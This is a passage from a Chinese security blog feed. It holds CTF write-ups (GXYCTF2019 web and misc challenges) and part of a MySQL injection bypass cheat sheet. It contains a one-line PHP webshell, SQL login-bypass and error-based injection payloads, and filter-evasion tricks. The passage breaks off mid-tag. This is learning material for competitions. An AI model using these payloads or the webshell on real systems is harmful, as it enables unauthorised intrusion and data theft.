alt="Snipaste_2020-05-06_13-12-13.jpg"></p><p>把png提取出来(可以直接复制hex码),发现是一个网盘的url,下载。</p><p>windows打不开这个憨憨word文档,改为rar成功拿到压缩包,爆破出密码DE34Q1。</p><p>图片binwalk,一开始虚拟机出了点问题,同学给我的压缩包不全。。。但是自己binwalk出的包就能看出ntfs流。。。555提取出来就好了</p><h2 id="MC-Join"><a href="#MC-Join" class="headerlink" title="MC_Join"></a>MC_Join</h2><p>脚本和Nu1L师傅们的差不多<a href="https://wx.zsxq.com/dweb2/index/group/824215518412,可读性太差了。。。。直接看他们的把" target="_blank" rel="noopener">https://wx.zsxq.com/dweb2/index/group/824215518412,可读性太差了。。。。直接看他们的把</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> CTF </tag>
<tag> WP </tag>
</tags>
</entry>
<entry>
<title>GXYCTF2019重做</title>
<link href="posts/4c15.html"/>
<url>posts/4c15.html</url>
<content type="html"><![CDATA[<h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="pingpingping"><a href="#pingpingping" class="headerlink" title="pingpingping"></a>pingpingping</h2><p>在昨天的<a href="https://www.hackyangtuo.top/posts/ab7.html#toc-heading-1写过了">https://www.hackyangtuo.top/posts/ab7.html#toc-heading-1写过了</a></p><h2 id="禁止套娃"><a href="#禁止套娃" class="headerlink" title="禁止套娃"></a>禁止套娃</h2><p>考察:<strong>git源码泄露,无参数RCE</strong> </p><p>啥都没有,扫描器扫出来了git源码泄露</p><pre><code class="php"><?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); }}// highlight_file(__FILE__);?></code></pre><p>分析一下:</p><ul><li>flag在flag.php,需要我们去读取</li><li>参数exp可控,满足if的正则条件后,可以eval进行RCE</li><li>正则过滤了常用的几种伪协议,et、na、info等使用函数常见字段,比如<code>file_get_contents()</code>就用不了了</li><li><code>(?R)</code>表明应该是无参数RCE 一般是preg_match这个【<code>/[^\W]+\((?R)?\)/</code>】,只允许<code>a(b(c()));</code> 这种类型的传入函数</li></ul><p>比如说我们要看一下当前目录下的文件,我们想要用<code>print_r(scandir(./))</code>来扫描,但是由于进行无参数的RCE,我们不能添加<code>./</code>,所以我们需要其他的函数来代替准确的代表flag.php再进行读取。</p><p>有一些函数在无参数RCE中经常使用</p><ul><li><code>localeconv()</code>:返回一包含本地数字及货币格式信息的数组</li><li><code>current()</code>:用于返回=<code>pos()</code></li></ul><p>这两个加起来可以替换<code>scandir()</code>函数的<code>./</code>参数</p><p><img src="https://i.loli.net/2020/05/12/rxluvhyMLUNGaHC.jpg" alt="current_localeconv___.jpg"></p><ul><li><code>getenv()</code>:获取各种环境变量,但是打印出的一般是庞杂的数组,比如下图。</li></ul><p><img src="https://i.loli.net/2020/05/12/RiyKGWOzLu6JrMk.jpg" alt="getenv.jpg"></p><p>如果要提取的话需要下面的函数:</p><ul><li><code>array_rand(array_flip())</code>:其中<code>array_rand()</code>是随机返回一个数组键(默认,不指定$num的情况下)。<code>array_flip()</code>是将数组中的键和值交换。</li></ul><h2 id="BabySql"><a href="#BabySql" class="headerlink" title="BabySql"></a>BabySql</h2><p>fuzz出了语句(经过了base32+base64加密):select * from user where username = ‘$name’</p><p>题目告诉了哈希,那么基本是md5比较绕过,少部分是特殊sql,没注明的话应该就是md5。后台应该是通过比较<code>$pw</code> 和 <code>$name</code>的md5值来确定login or not。</p><p>很容易得到payload</p><pre><code>username:adm'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#passwd:123456</code></pre><p> 后来想起来当时sqlmap一把梭了</p><h2 id="BabyUpload"><a href="#BabyUpload" class="headerlink" title="BabyUpload"></a>BabyUpload</h2><p>*<em>考察:.htaccess+GIF89a头绕过 *</em></p><p>fuzz一个普通图片马试试,回显<code>“这标志明显还是php”</code>,应该是判断hex码的头,如<code><?</code>。简单的添加GIF89a头,用这个形式:</p><pre><code class="html"><script language="php"> eval($_POST[v]); </script></code></pre><p>之后和之前一样,上传.htaccess,改Content-Type,但是之后发现无法访问,怀疑是后台每隔一段时间就删掉了。条件竞争处理即可。</p><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><p>buu交的时候前缀改为flag哦</p><h2 id="佛系青年"><a href="#佛系青年" class="headerlink" title="佛系青年"></a>佛系青年</h2><p><strong>考察:伪加密,与佛论禅 难度:易</strong></p><p>压缩包,头部有损坏。检查发现是fo.txt处出现了伪加密,将0900改为0000.</p><p>打开是与佛论禅,由于原网站GG,用脚本一样可以:</p><pre><code class="python"># !/usr/bin/env python3## nianfo.py - TudouCode Demo in Python 3# Credit: https://github.com/lersh/TudouCode/## Note:# # This is the first version('佛曰') of TudouCode('与佛论禅').# The second version('如是我闻') needs compression and I can't debug.# # Dependency: pycryptofrom Crypto.Cipher import AESfrom random import choiceKEY = b'XDXDtudou@KeyFansClub^_^Encode!!'IV = b'Potato@Key@_@=_='TUDOU = [ '滅', '苦', '婆', '娑', '耶', '陀', '跋', '多', '漫', '都', '殿', '悉', '夜', '爍', '帝', '吉', '利', '阿', '無', '南', '那', '怛', '喝', '羯', '勝', '摩', '伽', '謹', '波', '者', '穆', '僧', '室', '藝', '尼', '瑟', '地', '彌', '菩', '提', '蘇', '醯', '盧', '呼', '舍', '佛', '參', '沙', '伊', '隸', '麼', '遮', '闍', '度', '蒙', '孕', '薩', '夷', '迦', '他', '姪', '豆', '特', '逝', '朋', '輸', '楞', '栗', '寫', '數', '曳', '諦', '羅', '曰', '咒', '即', '密', '若', '般', '故', '不', '實', '真', '訶', '切', '一', '除', '能', '等', '是', '上', '明', '大', '神', '知', '三', '藐', '耨', '得', '依', '諸', '世', '槃', '涅', '竟', '究', '想', '夢', '倒', '顛', '離', '遠', '怖', '恐', '有', '礙', '心', '所', '以', '亦', '智', '道', '。', '集', '盡', '死', '老', '至']BYTEMARK = ['冥', '奢', '梵', '呐', '俱', '哆', '怯', '諳', '罰', '侄', '缽', '皤']def Encrypt(plaintext): # 1. Encode Plaintext in UTF-16 Little Endian data = plaintext.encode('utf-16le') # 2. Add Paddings (PKCS7) pads = (- len(data)) % 16 data = data + bytes(pads * [pads]) # 3. Use AES-256-CBC to Encrypt cryptor = AES.new(KEY, AES.MODE_CBC, IV) result = cryptor.encrypt(data) # 4. Encode and Add Header return '佛曰:' + ''.join([TUDOU[i] if i < 128 else choice(BYTEMARK) + TUDOU[i-128] for i in result])def Decrypt(ciphertext): # 1. Remove Header and Decode if ciphertext.startswith('佛曰:'): ciphertext = ciphertext[3:] data = b'' i = 0 while i < len(ciphertext): if ciphertext[i] in BYTEMARK: i = i + 1 data = data + bytes([TUDOU.index(ciphertext[i]) + 128]) else: data = data + bytes([TUDOU.index(ciphertext[i])]) i = i + 1 # 2. Use AES-256-CBC to Decrypt cryptor = AES.new(KEY, AES.MODE_CBC, IV) result = cryptor.decrypt(data) # 3. Remove Paddings (PKCS7) flag = result[-1] if flag < 16 and result[-flag] == flag: result = result[:-flag] # 4. Decode Plaintext with UTF-16 Little Endian return result.decode('utf-16le') else: return ''print(Encrypt('123'))print(Decrypt('佛曰:遮等諳勝能礙皤藐哆娑梵迦侄羅哆迦梵者梵楞蘇涅侄室實真缽朋能。奢怛俱道怯都諳怖梵尼怯一罰心缽謹缽薩苦奢夢怯帝梵遠朋陀諳陀穆諳所呐知涅侄以薩怯想夷奢醯數羅怯諸'))</code></pre><h2 id="gakki"><a href="#gakki" class="headerlink" title="gakki"></a>gakki</h2><p><strong>考察:图片隐写文件,字频分析 难度:易</strong></p><p>一张wolaopo.jpg</p><p>binwalk -e 出一个压缩包,有密码,无提示,大概率是爆破:<code>8864</code></p><p>98KB的文本,大量无规律字符集,尝试字频分析。</p><p>我用的是一个<a href="https://www.browserling.com/tools/letter-frequency" target="_blank" rel="noopener">在线词频分析</a>的网站,用脚本也可以</p><pre><code class="python"># gakki_exp.py# Author : imaginalphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- ={}[]"f = open("flag.txt", "r")data = f.read()result = {d:0 for d in alphabet}def sort_by_value(d): items = d.items() backitems = [[v[1],v[0]] for v in items] backitems.sort(reverse=True) return [ backitems[i][1] for i in range(0,len(backitems))]for d in data: for alpha in alphabet: if d == alpha: result[alpha] = result[alpha] + 1print(sort_by_value(result))</code></pre><h2 id="SXMgdGhpcyBiYXNlPw"><a href="#SXMgdGhpcyBiYXNlPw" class="headerlink" title="SXMgdGhpcyBiYXNlPw=="></a>SXMgdGhpcyBiYXNlPw==</h2><p><strong>考察:Base64隐写 难度:中等</strong></p><p>题目名字:base64解密为“ Is this base?”</p><p>base64隐写:</p><pre><code class="python"># -*- coding: UTF-8 -*-def processLine(line, CharacterCounts): for character in line: #if ord(character) in range(97, 123): if ord(character) in range(32,126): CharacterCounts[character] += 1#创建字母字典def createCharacterCounts(CharacterCounts): #for i in range(97, 123): for i in range(32, 126): CharacterCounts[chr(i)] = 0def main(): #用户输入一个文件名 # filename = input("enter a filename:").strip() filename = "123.txt" infile = open(filename, "r") #建立用于计算词频的空字典 CharacterCounts = {} #初始化字典键值 createCharacterCounts(CharacterCounts) for line in infile: #processLine(line.lower(), CharacterCounts) processLine(line, CharacterCounts) #从字典中获取数据对 pairs = list(CharacterCounts.items()) #列表中的数据对交换位置,数据对排序 items = [[x,y] for (y,x) in pairs] items.sort(reverse=True) #输出count个数词频结果 for i in range(len(items)): #print(items[i][1]+"\t"+str(items[i][0])) print(items[i][1],end='') infile.close()if __name__ == '__main__': main()</code></pre><p>说一下bs64隐写的原理:</p><blockquote><p>比如, 字符串”Tr0”经过 Base64 编码后变为”VHIw”<br><a href="https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/Base64steg/20180917030331547.png!blog" target="_blank" rel="noopener"><img src="https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/Base64steg/20180917030331547.png!blog" alt="Tr0"></a></p><p>上面说的字符串长度为 3 个字节的数据位数是 8x3=24, 可以精确地分成 6x4.<br>如果字节数不是 3 的倍数, 则位数就不是 6 的倍数, 那么就不能精确地划分成 6 位的块.<br>此时, 需在原数据二进制值后面添加零, 使其字节数是 6 的倍数.<br>然后, 在编码后的字符串后面添加 1 个或 2 个等号”=”, 表示所添加的零值字节数.<br>比如, 字符串”Tr0y”经过 Base64 编码后变为”VHIweQ==”</p><p><a href="https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/Base64steg/20180917030350894.png!blog" target="_blank" rel="noopener"><img src="https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/Base64steg/20180917030350894.png!blog" alt="Tr0y"></a></p><p>橙色底纹就是添加的 0.<br>这是 Base64 编码的方式.</p><p>注意红色的 0, 我们在解码的时候将其丢弃了, 所以这里的值不会影响解码. 所以我们可以在这进行隐写.<br>为什么等号的那部分 0 不能用于隐写? 因为修改那里的二进制值会导致等号数量变化, 解码的第 1 步会受影响. 自然也就破坏了源字符串.<br>而红色部分的 0 是作为最后一个字符二进制的组成部分, 还原时只用到了最后一个字符二进制的前部分, 后面的部分就不会影响还原.<br>唯一的影响就是最后一个字符会变化. 如下图<br><a href="https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/Base64steg/20180917030415646.png!blog" target="_blank" rel="noopener"><img src="https://rzx1szyykpugqc-1252075454.piccd.myqcloud.com/Base64steg/20180917030415646.png!blog" alt="隐写"></a><br>如果你直接解密<code>’VHIweQ==’与’VHIweR==’</code>, 得到的结果都是’Tr0y’.</p><p>当然, 一行 base64 顶多能有 2 个等号, 也就是有 2*2 位的可隐写位. 所以我们得弄很多行, 才能隐藏一个字符串, 这也是为什么题目给了一大段 base64 的原因.<br>接下来, 把要隐藏的 flag 转为 8 位二进制, 塞进去就行了.</p><p>摘自<a href="https://www.tr0y.wang/2017/06/14/Base64steg/index.html" target="_blank" rel="noopener">https://www.tr0y.wang/2017/06/14/Base64steg/index.html</a></p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> CTF </tag>
<tag> WP </tag>
</tags>
</entry>
<entry>
<title>Mysql注入</title>
<link href="posts/1527.html"/>
<url>posts/1527.html</url>
<content type="html"><![CDATA[<h1 id="Mysql注入进阶"><a href="#Mysql注入进阶" class="headerlink" title="Mysql注入进阶"></a>Mysql注入进阶</h1><p><strong>Written by <a href="http://pipinstall.cn/" target="_blank" rel="noopener" title="ttpfx">ttpfx</a></strong></p><p><strong>Added by <a href="https://hack-for.fun/" target="_blank" rel="noopener" m0nkey""="">M0nkey</a>、<a href="https://www.hackyangtuo.top/" v1cuna""="">V1cuna</a></strong></p><p><strong>1.常见过滤手段的Bypass</strong></p><ol><li>and/or的过滤/拦截</li><li>空格被过滤/拦截</li><li>括号被过滤/拦截</li><li>逗号被过滤/拦截</li><li>information_schema被过滤/拦截</li><li>利用join进行无列名注入(使用别名)</li><li>单双引号被被过滤/拦截/转义</li><li>数字和单个字母被过滤/拦截</li><li>其他系统关键字被过滤/拦截</li><li>等号被过滤</li><li>过滤sleep()</li></ol><p><strong>2.编码转换产生的问题</strong></p><ol><li>宽字节注入</li><li>Latin1默认编码(php和mysql编码不同产生的注入)</li></ol><p><strong>3.报错注入</strong></p><ol><li>几何函数</li><li>基于BIGINT溢出错误的SQL注入(Mysql>5.5.5)</li><li>不存在的函数</li><li>uuid相关函数(Mysql版本8.0.x)</li><li>报错函数速查表</li></ol><p><strong>4.文件读写</strong></p><ul><li>file_priv和secure-file-priv</li><li>读</li></ul><ol><li>读文件的三种方式</li><li>低权限读取文件</li><li>Mysql连接数据库时可读取文件(配合SSRF?)</li></ol><ul><li>写</li></ul><ol><li>写文件常规操作</li><li>日志法</li><li>DNSLOG外带数据(目标系统为Windows才可用)</li></ol><p><strong>5.二次注入</strong></p><p><strong>6.堆叠注入</strong></p><ol><li>预处理函数</li><li>自定义符号</li><li>handler代替select语句</li></ol><p><strong>7.sql注入用到的常见函数/符号归类</strong></p><ol><li>注释符</li><li>常用运算符</li><li>系统信息函数</li><li>进制转换</li><li>字符截取/拼接</li><li>常见全局变量</li><li>其他常用函数/语句</li></ol><p><strong>8.一些特殊的注入方式</strong></p><ol><li>order by 大小比较盲注</li><li>约束攻击</li><li>异或注入</li><li>regexp注入</li><li>无列名注入</li><li>Update/Insert/Delete注入</li><li>反引号注入</li><li>PDO场景下的SQL注入</li></ol><p><strong>9.sql注入一些小trick</strong></p><ol><li>LIMIT之后的字段数判断</li><li>通过正则回溯机制绕过/union.+?select/ig</li></ol><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>总体是按照Yunen师傅(膜) <a href="https://xz.aliyun.com/t/7169" target="_blank" rel="noopener" title="对MYSQL注入相关内容及部分Trick的归类小结">对MYSQL注入相关内容及部分Trick的归类小结</a> 一文来进行的架构<br>自己做了一些改动和补充,如有不正确之处,还望指正</p><p>基础的一些注入知识,如普通注入、报错注入、时间/布尔盲注、宽字节注入、二次注入的基础知识就不写了,具体刷一遍sqli-lab 1~65就可明白,若不嫌弃可看一下我写的 <a href="http://pipinstall.cn/sqli-lab-less165通关及代码分析/" target="_blank" rel="noopener" title="sqli-lab Less1-65通关及代码分析">sqli-lab Less1-65通关及代码分析</a>,或者直接看上面Yunen师傅的文章</p><h2 id="1-常见过滤手段的Bypass"><a href="#1-常见过滤手段的Bypass" class="headerlink" title="1.常见过滤手段的Bypass"></a>1.常见过滤手段的Bypass</h2><h4 id="1-1-and-or的过滤-拦截"><a href="#1-1-and-or的过滤-拦截" class="headerlink" title="1-1.and/or的过滤/拦截"></a>1-1.and/or的过滤/拦截</h4><p>双写<br>使用运算符(||、&&)<br>直接使用拼接=号<br>使用异或注入</p><h4 id="1-2-空格被过滤-拦截"><a href="#1-2-空格被过滤-拦截" class="headerlink" title="1-2.空格被过滤/拦截"></a>1-2.空格被过滤/拦截</h4><p>多层括号嵌套<br>改用+号<br>使用注释/**/<br>and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略<br>%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格(因为Windows的解析机制无法使用特殊字符代替空格,需要Linux的服务器环境才行)</p><h4 id="1-3-括号被过滤-拦截"><a href="#1-3-括号被过滤-拦截" class="headerlink" title="1-3.括号被过滤/拦截"></a>1-3.括号被过滤/拦截</h4><p>order by 大小比较盲注(见下面的讲解)</p><h4 id="1-4-逗号被过滤-拦截"><a href="#1-4-逗号被过滤-拦截" class="headerlink" title="1-4.逗号被过滤/拦截"></a>1-4.逗号被过滤/拦截</h4><ul><li>改用盲注</li><li>使用join语句代替,如union select 1,2,3 可改为 union select<br>join(select 1) join(select 2) join(select 3)</li><li>substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4</li></ul><h4 id="1-5-information-schema被过滤-拦截"><a href="#1-5-information-schema被过滤-拦截" class="headerlink" title="1-5.information_schema被过滤/拦截"></a>1-5.information_schema被过滤/拦截</h4><p>利用innodb存储引擎(需要Mysql版本在5.5.x后并且Mysql开启了innoDB引擎),例子如下:</p><pre><code class="sql">select table_name from mysql.innodb_table_stats where database_name=database();select table_name from mysql.innodb_index_stats where database_name=database();</code></pre><p>接下来的四个只能用于查表名,无法查询列名,所以进一步获取数据还需无列名注入<br>sys.schema_auto_increment_columns<br>sys.x$schema_table_statistics_with_buffer<br>sys.schema_table_statistics_with_buffer<br>sys.x$ps_schema_table_statistics_io</p><p>那么接下来就补充一下无列名注入吧</p><h5 id="利用join进行无列名注入(使用别名)"><a href="#利用join进行无列名注入(使用别名)" class="headerlink" title="利用join进行无列名注入(使用别名)"></a>利用join进行无列名注入(使用别名)</h5><p>join … using(xx)</p><p>当知道表名为users时,使用如下语句得到列名<br>第一列:?id=-1’union all select*from (select * from users as a join users b)c#<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%871.png" alt=""></p><p>第二列:?id=-1’ union all select*from (select * from users as a join users b using(id))c–+<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%872.png" alt=""></p><p>第三列:?id=-1’ union all select*from (select * from users as a join users b using(id,username))c–+<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%873.png" alt=""></p><p>后面的列名可以此类推</p><h4 id="1-6-单双引号被被过滤-拦截-转义"><a href="#1-6-单双引号被被过滤-拦截-转义" class="headerlink" title="1-6.单双引号被被过滤/拦截/转义"></a>1-6.单双引号被被过滤/拦截/转义</h4><ul><li><p>可根据sql语句,使用转移符号逃逸出一个单/双引号,例题可参考[BJDCTF 2nd]简单注入</p></li><li><p>需要逃逸单引号的情况:尝试是否存在编码问题而产生的SQL注入。<br>不需要逃逸单引号的情况:字符串可用十六进制(hex函数)表示、也可通过进制转换函数表示成其他进制或者使用其他编码,如char()<br>SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)</p></li><li><p>还可以使用%2527<br>主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是’,所以成功绕过过滤。</p></li></ul><h4 id="1-7-数字和单个字母被过滤-拦截"><a href="#1-7-数字和单个字母被过滤-拦截" class="headerlink" title="1-7.数字和单个字母被过滤/拦截"></a>1-7.数字和单个字母被过滤/拦截</h4><pre><code>false或!pi():0true或!!pi():1true+true:2floor(pi()):3ceil(pi()):4floor(version()):5ceil(version()):6ceil(pi()+pi()):7floor(version()+pi()):8floor(pi()*pi()):9ceil(pi()*pi()):10ceil(pi()*pi())+true:11ceil(pi()+pi()+version()):12floor(pi()*pi()+pi()):13ceil(pi()*pi()+pi()):14ceil(pi()*pi()+version()):15floor(pi()*version()):16ceil(pi()*version()):17ceil(pi()*version())+true:18floor((pi()+pi())*pi()):19ceil((pi()+pi())*pi()):20ceil(ceil(pi())*version()):21ceil(pi()*ceil(pi()+pi())):22ceil((pi()+ceil(pi()))*pi()):23ceil(pi())*ceil(version()):24floor(pi()*(version()+pi())):25floor(version()*version()):26ceil(version()*version()):27ceil(pi()*pi()*pi()-pi()):28floor(pi()*pi()*floor(pi())):29</code></pre><p>简单演示一下:<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%874.png" alt=""></p><p>使用conv([0-9],10,36)可以表示0<del>9的数字,conv([10</del>35],10,36)可以表示a~z单个字母,conv([35+],10,36)可自行按照三十六进制转换</p><h4 id="1-8-其他系统关键字被过滤-拦截"><a href="#1-8-其他系统关键字被过滤-拦截" class="headerlink" title="1-8.其他系统关键字被过滤/拦截"></a>1-8.其他系统关键字被过滤/拦截</h4><p>双写绕过关键字过滤<br>使用同义函数/语句代替,如if函数可用如下语句代替。</p><pre><code class="sql">case when condition then 1 else 0 end</code></pre><h4 id="1-9-等号被过滤"><a href="#1-9-等号被过滤" class="headerlink" title="1-9.等号被过滤"></a>1-9.等号被过滤</h4><p>使用in或like关键字绕过</p><h4 id="1-10-过滤sleep"><a href="#1-10-过滤sleep" class="headerlink" title="1-10.过滤sleep()"></a>1-10.过滤sleep()</h4><p>参考:smlie师傅 <a href="https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/" target="_blank" rel="noopener" title="Mysql注入笔记">Mysql注入笔记</a></p><ul><li><p>BENCHMARK(count,expr)<br>BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。</p></li><li><p>笛卡尔积<br>select if(1=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0);</p></li><li><p>GET_LOCK<br>在一个session中可以先锁定一个变量例如:select get_lock(‘smi1e’,1)<br>然后通过另一个session 再次执行get_lock函数 select get_lock(‘smi1e’,5),此时会产生5 秒的延迟,其效果类似于sleep(5)。<br>但是利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。</p></li><li><p>RLIKE/REGEXP<br>通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。<br>select rpad(‘a’,4999999,’a’) RLIKE concat(repeat(‘(a.*)+’,30),’b’);</p></li></ul><h2 id="2-编码转换产生的问题"><a href="#2-编码转换产生的问题" class="headerlink" title="2.编码转换产生的问题"></a>2.编码转换产生的问题</h2><h4 id="2-1-宽字节注入"><a href="#2-1-宽字节注入" class="headerlink" title="2-1.宽字节注入"></a>2-1.宽字节注入</h4><p>网上有很多讲解,这里就不再赘述了</p><h4 id="2-2-Latin1默认编码"><a href="#2-2-Latin1默认编码" class="headerlink" title="2-2.Latin1默认编码"></a>2-2.Latin1默认编码</h4><p>参考P神的文章:<a href="https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html</a><br>直接上一道例题</p><p>题目要求必须登录admin的账号,然而题目中有如下限制</p><pre><code class="php"><?php$username = $_GET['username']if ($username === 'admin') { die('Permission denied!');}$result = $mysqli->query("SELECT * FROM z_users where username = '{$username}' and password = '{$password}'");</code></pre><p>这道题的php编码是UTF-8,而Mysql编码是Latin1(Latin1是Mysql的默认编码),此时我们就可以利用php和Mysql的编码不同,以admin%c2作为账号登录即可登录成功</p><p>那么这么做的原理是什么呢?<br>Mysql在转换字符集的时候,将不完整的字符给忽略了。如 佬 这个汉字的UTF-8编码是\xE4\xBD\xAC,我们可以依次尝试访问下面三个URL:</p><pre><code>test.php?username=admin%e4test.php?username=admin%e4%bdtest.php?username=admin%e4%bd%ac</code></pre><p>结果前两者都能成功获取到username=admin的结果,而最后一个URL,也就是当我们输入佬字完整的编码时,将会出现错误</p><p>原因很简单,因为latin1并不支持汉字,所以utf8汉字转换成latin1时就抛出了错误。那前两次为什么没有抛出错误?因为前两次输入的编码并不完整,Mysql在进行编码转换时,就将其忽略了。</p><p>但由于有一些字节值是不允许出现在UTF-8编码中的,所以只有部分字符是可用的,具体可参考上面P神的文章</p><h2 id="3-报错注入:"><a href="#3-报错注入:" class="headerlink" title="3.报错注入:"></a>3.报错注入:</h2><p>参考:<a href="https://blog.sari3l.com/posts/9622f295/" target="_blank" rel="noopener" title="Mysql注入基础小结">Mysql注入基础小结</a><br>常用到的报错大概也就如下三种<br>双查询报错:使用了floor()和rand()函数+group by句式<br>updatexml()<br>extractvalue()<br>这里就不记录了,可参考其他讲解</p><p>一些双查询小补充:</p><h4 id="floor"><a href="#floor" class="headerlink" title="floor"></a>floor</h4><h5 id="注入语句"><a href="#注入语句" class="headerlink" title="注入语句"></a>注入语句</h5><pre><code>?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</code></pre><ul><li>floor:函数只返回整数部分,小数部分舍弃。</li><li>round:函数四舍五入,大于0.5的部分进位,不到则舍弃。</li></ul><h5 id="注入原理"><a href="#注入原理" class="headerlink" title="注入原理"></a>注入原理</h5><p>目前比较常见的几种报错注入的方法都是利用了mysql某些不能称为bug的bug来实现的。</p><p>下面就以 rand() 函数来进行说明。mysql的官方文档中对 rand() 函数有特殊的说明:</p><pre><code>RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:</code></pre><p>官方文档中的意思是:在<code>where</code>语句中,<code>where</code>每执行一次,<code>rand()</code>函数就会被计算一次。<code>rand()</code>不能作为<code>order by</code>的条件字段,同理也不能作为<code>group by</code>的条件字段。</p><p>因此在 mysql 中,可以构造一个值不确定而有可重复的字段作为<code>group by</code>的条件字段,这是就可以报出类似于<code>Duplicate entry ‘…’ for key ‘group_key’</code>的错误</p><h4 id="UpdateXml-有长度限制-最长32位"><a href="#UpdateXml-有长度限制-最长32位" class="headerlink" title="UpdateXml(有长度限制,最长32位)"></a>UpdateXml(有长度限制,最长32位)</h4><p>MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是<code>ExtractValue()</code>和<code>UpdateXML()</code></p><p>因此在mysql 小于5.1.5中不能用<code>ExtractValue</code>和<code>UpdateXML</code>进行报错注入。</p><h5 id="注入语句-1"><a href="#注入语句-1" class="headerlink" title="注入语句"></a>注入语句</h5><pre><code>?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)</code></pre><h5 id="注入原理-1"><a href="#注入原理-1" class="headerlink" title="注入原理"></a>注入原理</h5><pre><code>UPDATEXML (XML_document, XPath_string, new_value);</code></pre><ul><li>第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc</li><li>第二个参数:XPath_string ( Xpath 格式的字符串)</li><li>第三个参数:new_value,String 格式,替换查找到的符合条件的数据</li><li>作用:改变文档中符合条件的节点的值</li></ul><p>返回结果为连接参数产生的字符串。如有任何一个参数为<code>NULL</code> ,则返回值为<code>NULL</code>。</p><p>通过查询<code>@@version</code>,返回版本。然后<code>CONCAT</code>将其字符串化。因为<code>UPDATEXML</code>第二个参数需要<code>Xpath</code>格式的字符串,所以不符合要求,然后报错。</p><h4 id="ExtractValue-有长度限制-最长32位"><a href="#ExtractValue-有长度限制-最长32位" class="headerlink" title="ExtractValue(有长度限制,最长32位)"></a>ExtractValue(有长度限制,最长32位)</h4><h5 id="注入语句-2"><a href="#注入语句-2" class="headerlink" title="注入语句"></a>注入语句</h5><pre><code>?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))</code></pre><h5 id="注入原理-2"><a href="#注入原理-2" class="headerlink" title="注入原理"></a>注入原理</h5><pre><code>EXTRACTVALUE (XML_document, XPath_string);</code></pre><ul><li>第一个参数:XML_document是 String 格式,为 XML 文档对象的名称,文中为 Doc</li><li>第二个参数:XPath_string ( Xpath 格式的字符串)</li><li>作用:从目标 XML 中返回包含所查询值的字符串</li></ul><p>第二个参数都要求是符合<code>xpath</code>语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里</p><h4 id="NAME-CONST-适用于低版本,不太好用"><a href="#NAME-CONST-适用于低版本,不太好用" class="headerlink" 